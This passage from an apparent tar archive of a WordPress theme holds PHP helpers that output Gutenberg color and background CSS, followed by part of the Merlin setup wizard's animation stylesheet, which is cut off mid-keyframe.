$styles; } /* Add custom colors to Gutenberg. */ function goya_gutenberg_colors($gutstyles) { // Build styles. $css = ''; foreach ($gutstyles as $name => $color) { $css .= '.has-gutenberg-'.$name.'-color { color: ' . esc_attr( $color ) . ' !important; }'; $css .= '.has-gutenberg-'.$name.'-background-color { background-color: ' . esc_attr( $color ) . '; }'; $css .= '.wp-block-button.outlined .has-gutenberg-'.$name.'-color { border-color: ' . esc_attr( $color ) . ' !important; background-color: transparent !important; }'; } echo wp_strip_all_tags( $css ); } /* Process background field from array */ function goya_bg_output($array) { if(!empty($array)) { if (!empty($array['background-color'])) { echo "background-color: " . $array['background-color'] . " !important;\n"; } if (!empty($array['background-image'])) { echo "background-image: url(" . $array['background-image'] . ") !important;\n"; } if (!empty($array['background-repeat'])) { echo "background-repeat: " . $array['background-repeat'] . " !important;\n"; } if (!empty($array['background-attachment'])) { echo "background-attachment: " . $array['background-attachment'] . " !important;\n"; } if (!empty($array['background-position'])) { echo "background-position: " . $array['background-position'] . " !important;\n"; } if (!empty($array['background-size'])) { echo "background-size: " . $array['background-size'] . " !important;\n"; } } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/assets/css/merlin.css������������������������������������������������������������������������0000644�����������������00000205547�15154650146�0012150 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������@charset "UTF-8"; .merlin__body { background: #f1f1f1; -webkit-box-shadow: none; box-shadow: none; -webkit-box-sizing: border-box; box-sizing: border-box; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; font-size: 14px; line-height: 1.7em; margin: 0 auto; padding: 0 !important; -webkit-align-items: center; align-items: center; -webkit-box-align: center; -webkit-box-pack: center; -ms-flex-align: center; -ms-flex-pack: center; -webkit-justify-content: center; justify-content: center; } h1 { border: 0; color: #444; font-size: 20px; font-weight: 500; margin: 0 0 20px; padding: 0; } p { font-size: 14px; line-height: 1.7em; margin: 0; } .merlin__input { border-radius: 3px; display: block; font-size: 12px; margin: 14px auto 0; padding: 4px 8px; width: 70%; } .lead + .merlin__button--knockout { z-index: -1; } p.lead { -webkit-animation: vanishOut 800ms linear alternate; animation: vanishOut 800ms linear alternate; z-index: 9999; } p.success { -webkit-animation: vanishIn 700ms linear alternate; animation: vanishIn 700ms linear alternate; } @-webkit-keyframes vanishIn { 0% { opacity: 0; -webkit-transform: scale(2, 2); transform: scale(2, 2); -webkit-transform-origin: 50% 50%; transform-origin: 50% 50%; -webkit-filter: blur(70px); filter: blur(70px); } 100% { opacity: 1; -webkit-transform: scale(1, 1); transform: scale(1, 1); -webkit-transform-origin: 50% 50%; transform-origin: 50% 50%; -webkit-filter: blur(0px); filter: blur(0px); } } @keyframes vanishIn { 0% { opacity: 0; -webkit-transform: scale(2, 2); transform: scale(2, 2); -webkit-transform-origin: 50% 50%; transform-origin: 50% 50%; -webkit-filter: blur(70px); filter: blur(70px); } 100% { opacity: 1; -webkit-transform: scale(1, 1); transform: scale(1, 1); -webkit-transform-origin: 50% 50%; transform-origin: 50% 50%; -webkit-filter: blur(0px); filter: blur(0px); } } @media screen and (prefers-reduced-motion: reduce) { @-webkit-keyframes vanishIn { 0% { opacity: 0; } 100% { opacity: 1; } } @keyframes vanishIn { 0% { opacity: 0; } 100% { opacity: 1; } } } @-webkit-keyframes vanishOut { 0% { opacity: 1; -webkit-transform: scale(1, 1); transform: scale(1, 1); -webkit-transform-origin: 50% 50%; transform-origin: 50% 50%; -webkit-filter: blur(0px); filter: blur(0px); } 100% { opacity: 0; -webkit-transform: scale(2, 2); transform: scale(2, 2); -webkit-transform-origin: 50% 50%; transform-origin: 50% 50%; -webkit-filter: blur(50px); filter: blur(50px); } } @keyframes vanishOut { 0% { opacity: 1; -webkit-transform: scale(1, 1); transform: scale(1, 1); -webkit-transform-origin: 50% 50%; transform-origin: 50% 50%; -webkit-filter: blur(0px); filter: blur(0px); } 100% { opacity: 0; -webkit-transform: scale(2, 2); transform: scale(2, 2); -webkit-transform-origin: 50% 50%; transform-origin: 50% 50%; -webkit-filter: blur(50px); filter: blur(50px); } } @media screen and (prefers-reduced-motion: reduce) { @-webkit-keyframes vanishOut { 0% { opacity: 1; } 100% { opacity: 0; } } @keyframes vanishOut { 0% { opacity: 1; } 100% { opacity: 0; } } } .hidden { border: 0; clip: rect(1px, 1px, 1px, 1px); display: none; height: 1px; overflow: hidden; padding: 0; position: absolute; width: 1px; -webkit-clip-path: circle(1% at 1% 1%); clip-path: circle(1% at 1% 1%); } .huh-launcher, .huh-container { display: none !important; } .icon.icon--merlin { bottom: 15px; height: 75px; margin: 0; position: absolute; right: 15px; width: 50px; } .merlin__helper { bottom: 40px; position: absolute; right: 80px; } @-webkit-keyframes moveup { 0% { opacity: 1; -webkit-transform: translateY(0); transform: translateY(0); } 30% { opacity: 1; -webkit-transform: translateY(-42px); transform: translateY(-42px); } 90% { opacity: 1; -webkit-transform: translateY(-42px); transform: translateY(-42px); } 100% { opacity: 0; -webkit-transform: translateY(-48px) scale(0.99); transform: translateY(-48px) scale(0.99); -webkit-transform-origin: top right; transform-origin: top right; } } @keyframes moveup { 0% { opacity: 1; -webkit-transform: translateY(0); transform: translateY(0); } 30% { opacity: 1; -webkit-transform: translateY(-42px); transform: translateY(-42px); } 90% { opacity: 1; -webkit-transform: translateY(-42px); transform: translateY(-42px); } 100% { opacity: 0; -webkit-transform: translateY(-48px) scale(0.99); transform: translateY(-48px) scale(0.99); -webkit-transform-origin: top right; transform-origin: top right; } } @-webkit-keyframes fadeout { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translateY(-30px) scale(0.94); transform: translateY(-30px) scale(0.94); -webkit-transform-origin: top right; transform-origin: top right; } } @keyframes fadeout { 0% { opacity: 1; } 100% { opacity: 0; -webkit-transform: translateY(-30px) scale(0.94); transform: translateY(-30px) scale(0.94); -webkit-transform-origin: top right; transform-origin: top right; } } @-webkit-keyframes thirdmessgae { 0% { overflow: hidden; } 100% { overflow: visibile; } } @keyframes thirdmessgae { 0% { overflow: hidden; } 100% { overflow: visibile; } } .from-me { background: #0b93f6; border-radius: 12px; bottom: 10px; color: white; margin-bottom: 0; opacity: 0; padding: 6px 15px 7px; position: relative; position: absolute; right: 0; -webkit-transform: translateY(50px) translateX(10px) scale(0.1); -ms-transform: translateY(50px) translateX(10px) scale(0.1); transform: translateY(50px) translateX(10px) scale(0.1); -webkit-transition: opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 100ms, -webkit-transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1); transition: opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 100ms, -webkit-transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1); transition: transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1), opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 100ms; transition: transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1), opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 100ms, -webkit-transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1); width: 300px; } .loaded .from-me:not(.is-third-message) { opacity: 1; -webkit-transform: translateY(0) translateX(0) scale(1); -ms-transform: translateY(0) translateX(0) scale(1); transform: translateY(0) translateX(0) scale(1); -webkit-transform-origin: right; -ms-transform-origin: right; transform-origin: right; } .loaded .from-me.with-second-message { -webkit-animation: moveup 1700ms ease-out 4200ms forwards; animation: moveup 1700ms ease-out 4200ms forwards; } .loaded .from-me.is-third-message { opacity: 1; -webkit-transform: scale(1) translateY(0); -ms-transform: scale(1) translateY(0); transform: scale(1) translateY(0); -webkit-transform-origin: right; -ms-transform-origin: right; transform-origin: right; -webkit-transition: opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 7100ms, -webkit-transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1) 7000ms; transition: opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 7100ms, -webkit-transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1) 7000ms; transition: transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1) 7000ms, opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 7100ms; transition: transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1) 7000ms, opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 7100ms, -webkit-transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1) 7000ms; } .from-me a { color: #fff; } .from-me p { font-size: 13px; } .from-me::before { border-bottom-left-radius: 16px 14px; border-right: 20px solid #0b93f6; bottom: -2px; content: ""; height: 20px; position: absolute; right: -7px; -webkit-transform: translate(0, -2px); z-index: 0; } .from-me::after { background: #f1f1f1; border-bottom-left-radius: 10px; bottom: -2px; content: ""; height: 20px; position: absolute; right: -56px; -webkit-transform: translate(-30px, -2px); width: 26px; z-index: 0; } .chat-bubble { background: #ddd; bottom: 8px; height: 34px; margin-left: auto; opacity: 0; position: absolute; right: 12px; -webkit-transform: translateY(50px) translateX(10px) scale(0.1); -ms-transform: translateY(50px) translateX(10px) scale(0.1); transform: translateY(50px) translateX(10px) scale(0.1); -webkit-transition: opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 4300ms, -webkit-transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1) 4200ms; transition: opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 4300ms, -webkit-transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1) 4200ms; transition: transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1) 4200ms, opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 4300ms; transition: transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1) 4200ms, opacity 300ms cubic-bezier(0.694, 0, 0.335, 1) 4300ms, -webkit-transform 500ms cubic-bezier(0.694, 0.5, 0.1, 1) 4200ms; width: 24px; } .loaded .chat-bubble { -webkit-animation: fadeout 300ms ease-out 6500ms forwards; animation: fadeout 300ms ease-out 6500ms forwards; opacity: 1; -webkit-transform: translateY(0) translateX(0) scale(1); -ms-transform: translateY(0) translateX(0) scale(1); transform: translateY(0) translateX(0) scale(1); -webkit-transform-origin: right; -ms-transform-origin: right; transform-origin: right; } .chat-bubble:before { background: #ddd; border-radius: 50%; content: ""; display: block; height: 34px; left: -17px; position: absolute; width: 34px; z-index: 1; } .chat-bubble:after { background: #ddd; border-radius: 50%; content: ""; display: block; height: 34px; position: absolute; right: -17px; width: 34px; z-index: 1; } .chat-bubble .tail { background: #ddd; border-radius: 50%; bottom: -1px; height: 15px; position: absolute; right: -17px; width: 15px; } .chat-bubble .tail::before { background: #ddd; border-radius: 50%; bottom: -4px; content: ""; display: block; height: 5px; position: absolute; right: -3px; width: 5px; } .chat-bubble .loading { left: 0; position: absolute; top: 14px; width: 30px; z-index: 10; } .chat-bubble .loading .dot { background: #c1c1c1; border-radius: 50%; display: block; float: left; height: 6px; margin: 0 0 0 3px; width: 6px; } .chat-bubble .loading .dot:first-child { margin: 0; } .chat-bubble .loading .dot.one { -webkit-animation: cycleOne 1s ease-in-out infinite; animation: cycleOne 1s ease-in-out infinite; } .chat-bubble .loading .dot.two { -webkit-animation: cycleTwo 1s ease-in-out infinite; } .chat-bubble .loading .dot.three { -webkit-animation: cycleThree 1s ease-in-out infinite; animation: cycleThree 1s ease-in-out infinite; } @-webkit-keyframes cycleOne { 0% { background: rgba(150, 150, 150, 0.4); } 33.333% { background: #969696; } 66.6667% { background: rgba(150, 150, 150, 0.4); } 100% { background: rgba(150, 150, 150, 0.4); } } @keyframes cycleOne { 0% { background: rgba(150, 150, 150, 0.4); } 33.333% { background: #969696; } 66.6667% { background: rgba(150, 150, 150, 0.4); } 100% { background: rgba(150, 150, 150, 0.4); } } @-webkit-keyframes cycleTwo { 0% { background: rgba(150, 150, 150, 0.4); } 33.333% { background: rgba(150, 150, 150, 0.4); } 66.6667% { background: #969696; } 100% { background: rgba(150, 150, 150, 0.4); } } @keyframes cycleTwo { 0% { background: rgba(150, 150, 150, 0.4); } 33.333% { background: rgba(150, 150, 150, 0.4); } 66.6667% { background: #969696; } 100% { background: rgba(150, 150, 150, 0.4); } } @-webkit-keyframes cycleThree { 0% { background: rgba(150, 150, 150, 0.4); } 33.333% { background: rgba(150, 150, 150, 0.4); } 66.6667% { background: rgba(150, 150, 150, 0.4); } 100% { background: #969696; } } @keyframes cycleThree { 0% { background: rgba(150, 150, 150, 0.4); } 33.333% { background: rgba(150, 150, 150, 0.4); } 66.6667% { background: rgba(150, 150, 150, 0.4); } 100% { background: #969696; } } .dots { cursor: default; display: block; line-height: 1; list-style: none; margin: 0 auto; max-width: 140px; padding: 0; position: relative; top: 10px; z-index: 0; } .merlin__content--ready .dots { display: none; } .merlin__content--content .dots { -webkit-transition: opacity 500ms cubic-bezier(0.694, 0, 0.335, 1); transition: opacity 500ms cubic-bezier(0.694, 0, 0.335, 1); } body.exiting .merlin__content--content .dots { opacity: 0; } .dots li { background: #e9e9e9; border-radius: 999px; display: inline-block; height: 7px; margin: 0 0.01em; padding: 0; position: relative; top: -0.15em; -webkit-transition: background 300ms cubic-bezier(0.694, 0, 0.335, 1); transition: background 300ms cubic-bezier(0.694, 0, 0.335, 1); width: 7px; z-index: 9999; } .dots li.done { background: #0073aa; } .dots li.active { -webkit-animation: popIn 900ms forwards; animation: popIn 900ms forwards; -webkit-animation-fill-mode: both; animation-fill-mode: both; } @media screen and (prefers-reduced-motion: reduce) { .dots li.active { -webkit-animation: none; animation: none; background: #0073aa; } } .dots li.active::after { -webkit-animation: sonarEffect 400ms ease-out 300ms; animation: sonarEffect 400ms ease-out 300ms; border-radius: 999px; content: ""; display: inline-block; height: 8px; left: -0.037778em; position: absolute; top: -0.05em; -webkit-transition: -webkit-box-shadow 300ms cubic-bezier(0.694, 0, 0.335, 1); transition: -webkit-box-shadow 300ms cubic-bezier(0.694, 0, 0.335, 1); transition: box-shadow 300ms cubic-bezier(0.694, 0, 0.335, 1); transition: box-shadow 300ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-box-shadow 300ms cubic-bezier(0.694, 0, 0.335, 1); width: 8px; z-index: -1; } @media screen and (prefers-reduced-motion: reduce) { .dots li.active::after { -webkit-animation: none; animation: none; } } @-webkit-keyframes sonarEffect { 0% { opacity: 1; } 40% { -webkit-box-shadow: 0 0 0 1px #aae4ff; box-shadow: 0 0 0 1px #aae4ff; opacity: 0.5; } 100% { -webkit-box-shadow: 0 0 0 1px #aae4ff; box-shadow: 0 0 0 1px #aae4ff; opacity: 0; -webkit-transform: scale(1.6); transform: scale(1.6); } } @keyframes sonarEffect { 0% { opacity: 1; } 40% { -webkit-box-shadow: 0 0 0 1px #aae4ff; box-shadow: 0 0 0 1px #aae4ff; opacity: 0.5; } 100% { -webkit-box-shadow: 0 0 0 1px #aae4ff; box-shadow: 0 0 0 1px #aae4ff; opacity: 0; -webkit-transform: scale(1.6); transform: scale(1.6); } } @-webkit-keyframes popIn { 0% { background: #e3e3e3; } 40% { } 55% { background: #e3e3e3; -webkit-transform: scale(1); transform: scale(1); } 65% { background: #0073aa; -webkit-transform: scale(1.6); transform: scale(1.6); } 85% { background: #0073aa; -webkit-transform: scale(0.8); transform: scale(0.8); } 95% { background: #0073aa; -webkit-transform: scale(1.2); transform: scale(1.2); } 100% { background: #0073aa; -webkit-transform: scale(1); transform: scale(1); } } @keyframes popIn { 0% { background: #e3e3e3; } 40% { } 55% { background: #e3e3e3; -webkit-transform: scale(1); transform: scale(1); } 65% { background: #0073aa; -webkit-transform: scale(1.6); transform: scale(1.6); } 85% { background: #0073aa; -webkit-transform: scale(0.8); transform: scale(0.8); } 95% { background: #0073aa; -webkit-transform: scale(1.2); transform: scale(1.2); } 100% { background: #0073aa; -webkit-transform: scale(1); transform: scale(1); } } svg:not(:root) { overflow: hidden; } .icon { margin-bottom: 2.8em; max-width: 100%; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } .js--finished .icon:not(.icon--checkmark):not(.icon--help) { opacity: 0; -webkit-transform: scale(0.8); -ms-transform: scale(0.8); transform: scale(0.8); -webkit-transition: opacity 400ms cubic-bezier(0.694, 0, 0.335, 1) 0ms, -webkit-transform 400ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 300ms cubic-bezier(0.694, 0, 0.335, 1) 100ms; transition: opacity 400ms cubic-bezier(0.694, 0, 0.335, 1) 0ms, -webkit-transform 400ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 300ms cubic-bezier(0.694, 0, 0.335, 1) 100ms; transition: transform 400ms cubic-bezier(0.694, 0, 0.335, 1), opacity 400ms cubic-bezier(0.694, 0, 0.335, 1) 0ms, filter 300ms cubic-bezier(0.694, 0, 0.335, 1) 100ms; transition: transform 400ms cubic-bezier(0.694, 0, 0.335, 1), opacity 400ms cubic-bezier(0.694, 0, 0.335, 1) 0ms, filter 300ms cubic-bezier(0.694, 0, 0.335, 1) 100ms, -webkit-transform 400ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 300ms cubic-bezier(0.694, 0, 0.335, 1) 100ms; -webkit-filter: blur(10px); filter: blur(10px); } .merlin__content { background: #fff; border-radius: 7px; -webkit-box-shadow: 0 5px 20px rgba(0, 0, 0, 0.07); box-shadow: 0 5px 20px rgba(0, 0, 0, 0.07); -webkit-box-sizing: border-box; box-sizing: border-box; color: #444; display: block; margin: 1.5em auto 0; max-width: 390px; overflow: hidden; padding: 60px 33px 35px; position: relative; text-align: center; zoom: 1; } .merlin__content--transition { opacity: 0; -webkit-transform: translateX(50%) scale(0.95); -ms-transform: translateX(50%) scale(0.95); transform: translateX(50%) scale(0.95); -webkit-transform-origin: 50%; -ms-transform-origin: 50%; transform-origin: 50%; -webkit-transition: opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 500ms cubic-bezier(0.694, 0, 0.335, 1) 0; transition: opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 500ms cubic-bezier(0.694, 0, 0.335, 1) 0; transition: transform 500ms cubic-bezier(0.694, 0, 0.335, 1), opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), filter 500ms cubic-bezier(0.694, 0, 0.335, 1) 0; transition: transform 500ms cubic-bezier(0.694, 0, 0.335, 1), opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), filter 500ms cubic-bezier(0.694, 0, 0.335, 1) 0, -webkit-transform 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 500ms cubic-bezier(0.694, 0, 0.335, 1) 0; -webkit-filter: blur(10px); filter: blur(10px); } @media screen and (prefers-reduced-motion: reduce) { .merlin__content--transition { -webkit-transform: translateX(0) scale(1); -ms-transform: translateX(0) scale(1); transform: translateX(0) scale(1); -webkit-transition: opacity 300ms ease-in-out, -webkit-filter 300ms ease-in-out; transition: opacity 300ms ease-in-out, -webkit-filter 300ms ease-in-out; transition: opacity 300ms ease-in-out, filter 300ms ease-in-out; transition: opacity 300ms ease-in-out, filter 300ms ease-in-out, -webkit-filter 300ms ease-in-out; -webkit-filter: blur(2px); filter: blur(2px); } } .merlin__content--welcome .merlin__content--transition { opacity: 1; -webkit-transform: translateX(0) scale(1); -ms-transform: translateX(0) scale(1); transform: translateX(0) scale(1); -webkit-filter: blur(0); filter: blur(0); } .merlin__content--plugins .merlin__content__footer.no-plugins, .merlin__content--welcome .merlin__content__footer { padding-top: 22px; } .merlin__content--plugins .merlin__content__footer { padding-top: 3px; } .merlin__content--license .merlin__content__footer { padding-top: 30px; } .merlin__content--license .merlin__content__footer.is-registered { padding-top: 87px; } .merlin__content--license .merlin__button--knockout { margin-top: 0; padding-bottom: 8px; padding-top: 8px; } .merlin__content--license-key { margin-top: 22px; } .merlin__content--license-key.has-error input { -webkit-animation: errorShake 0.4s 1 linear; animation: errorShake 0.4s 1 linear; border-color: #d54e21; -webkit-box-shadow: 0 0 2px rgba(213, 78, 33, 0.8); box-shadow: 0 0 2px rgba(213, 78, 33, 0.8); } .merlin__content--license-key label { border: 0; clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; padding: 0; position: absolute; width: 1px; -webkit-clip-path: circle(1% at 1% 1%); clip-path: circle(1% at 1% 1%); } .merlin__content--license-key-wrapper { margin-left: auto; margin-right: auto; position: relative; width: 87%; } .merlin__content--license-key .icon { height: 27px; margin-bottom: 0; opacity: 0.6; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); -webkit-transition: fill 150ms cubic-bezier(0.694, 0, 0.335, 1), opacity 150ms cubic-bezier(0.694, 0, 0.335, 1); transition: fill 150ms cubic-bezier(0.694, 0, 0.335, 1), opacity 150ms cubic-bezier(0.694, 0, 0.335, 1); width: 27px; z-index: 9999; -webkit-backface-visibility: hidden; backface-visibility: hidden; fill: #7d8183; } @media screen and (prefers-reduced-motion: reduce) { .merlin__content--license-key .icon { -webkit-transition: fill 50ms ease-in-out, opacity 50ms ease-in-out; transition: fill 50ms ease-in-out, opacity 50ms ease-in-out; } } .merlin__content--license-key .icon:hover { opacity: 1; fill: #0073aa; } .merlin__content--license-key a { height: 27px; position: absolute; right: 3px; top: 4px; width: 27px; } .merlin__content--license-key a::after { background: transparent; background: -webkit-gradient(linear, right top, left top, color-stop(40%, #fff), to(rgba(255, 255, 255, 0))); background: -webkit-linear-gradient(right, #fff 40%, rgba(255, 255, 255, 0)); background: linear-gradient(to left, #fff 40%, rgba(255, 255, 255, 0)); border-radius: 3px; /* gradient on the right - to indicate it's possible to scroll */ content: ""; height: 27px; pointer-events: none; position: absolute; right: 23px; top: 0; width: 20px; z-index: 1; } .merlin__content--license-key a:active svg { -webkit-animation: small_pulse 200ms; animation: small_pulse 200ms; -webkit-animation-timing-function: cubic-bezier(0.694, 0, 0.335, 1); animation-timing-function: cubic-bezier(0.694, 0, 0.335, 1); -webkit-animation-fill-mode: none; animation-fill-mode: none; } .merlin__content--license-key input { background: transparent; border-radius: 3px; -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.06); box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.06); display: inline-block; font-family: Menlo, Consolas, monaco, monospace; font-size: 11px; padding: 10px 27px 8px 9px; width: 100%; } .merlin__content--ready { padding-bottom: 12px; } body.loaded .merlin__content--transition { opacity: 1; -webkit-transform: translateX(0) scale(1); -ms-transform: translateX(0) scale(1); transform: translateX(0) scale(1); -webkit-filter: blur(0); filter: blur(0); } body.exiting .merlin__content--transition { opacity: 0; -webkit-transform: translateX(-40%) scale(0.96); -ms-transform: translateX(-40%) scale(0.96); transform: translateX(-40%) scale(0.96); -webkit-transition: opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 700ms cubic-bezier(0.694, 0, 0.335, 1) 0; transition: opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 700ms cubic-bezier(0.694, 0, 0.335, 1) 0; transition: transform 500ms cubic-bezier(0.694, 0, 0.335, 1), opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), filter 700ms cubic-bezier(0.694, 0, 0.335, 1) 0; transition: transform 500ms cubic-bezier(0.694, 0, 0.335, 1), opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), filter 700ms cubic-bezier(0.694, 0, 0.335, 1) 0, -webkit-transform 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 700ms cubic-bezier(0.694, 0, 0.335, 1) 0; -webkit-filter: blur(10px); filter: blur(10px); } @media screen and (prefers-reduced-motion: reduce) { body.exiting .merlin__content--transition { -webkit-transform: translateX(0) scale(1); -ms-transform: translateX(0) scale(1); transform: translateX(0) scale(1); -webkit-transition: opacity 300ms ease-in-out, -webkit-filter 300ms ease-in-out; transition: opacity 300ms ease-in-out, -webkit-filter 300ms ease-in-out; transition: opacity 300ms ease-in-out, filter 300ms ease-in-out; transition: opacity 300ms ease-in-out, filter 300ms ease-in-out, -webkit-filter 300ms ease-in-out; -webkit-filter: blur(2px); filter: blur(2px); } } .merlin__content--welcome { -webkit-animation: animation 1000ms linear both 200ms; animation: animation 1000ms linear both 200ms; opacity: 0; -webkit-transition: opacity 400ms cubic-bezier(0.694, 0, 0.335, 1); transition: opacity 400ms cubic-bezier(0.694, 0, 0.335, 1); } body.loaded .merlin__content--welcome { opacity: 1; } @media screen and (prefers-reduced-motion: reduce) { .merlin__content--welcome { -webkit-animation: none; animation: none; opacity: 1; } } @-webkit-keyframes animation { 0% { -webkit-transform: matrix3d(0.5, 0, 0, 0, 0, 0.5, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.5, 0, 0, 0, 0, 0.5, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 4.5% { -webkit-transform: matrix3d(0.718, 0, 0, 0, 0, 0.743, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.718, 0, 0, 0, 0, 0.743, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 5.51% { -webkit-transform: matrix3d(0.762, 0, 0, 0, 0, 0.794, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.762, 0, 0, 0, 0, 0.794, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 9.01% { -webkit-transform: matrix3d(0.888, 0, 0, 0, 0, 0.94, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.888, 0, 0, 0, 0, 0.94, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 11.01% { -webkit-transform: matrix3d(0.941, 0, 0, 0, 0, 0.998, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.941, 0, 0, 0, 0, 0.998, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 13.51% { -webkit-transform: matrix3d(0.989, 0, 0, 0, 0, 1.044, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.989, 0, 0, 0, 0, 1.044, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 16.52% { -webkit-transform: matrix3d(1.024, 0, 0, 0, 0, 1.067, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.024, 0, 0, 0, 0, 1.067, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 17.92% { -webkit-transform: matrix3d(1.033, 0, 0, 0, 0, 1.07, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.033, 0, 0, 0, 0, 1.07, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 21.92% { -webkit-transform: matrix3d(1.042, 0, 0, 0, 0, 1.057, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.042, 0, 0, 0, 0, 1.057, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 29.03% { -webkit-transform: matrix3d(1.028, 0, 0, 0, 0, 1.016, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.028, 0, 0, 0, 0, 1.016, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 34.63% { -webkit-transform: matrix3d(1.013, 0, 0, 0, 0, 0.997, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.013, 0, 0, 0, 0, 0.997, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 36.24% { -webkit-transform: matrix3d(1.009, 0, 0, 0, 0, 0.994, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.009, 0, 0, 0, 0, 0.994, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 40.14% { -webkit-transform: matrix3d(1.003, 0, 0, 0, 0, 0.992, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1.003, 0, 0, 0, 0, 0.992, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 50.55% { -webkit-transform: matrix3d(0.997, 0, 0, 0, 0, 0.998, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.997, 0, 0, 0, 0, 0.998, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 62.36% { -webkit-transform: matrix3d(0.999, 0, 0, 0, 0, 1.001, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.999, 0, 0, 0, 0, 1.001, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 79.08% { -webkit-transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 84.68% { -webkit-transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 100% { -webkit-transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } } @keyframes animation { 0% { -webkit-transform: matrix3d(0.5, 0, 0, 0, 0, 0.5, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: matrix3d(0.5, 0, 0, 0, 0, 0.5, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 4.5% { -webkit-transform: matrix3d(0.718, 0, 0, 0, 0, 0.743, 0, 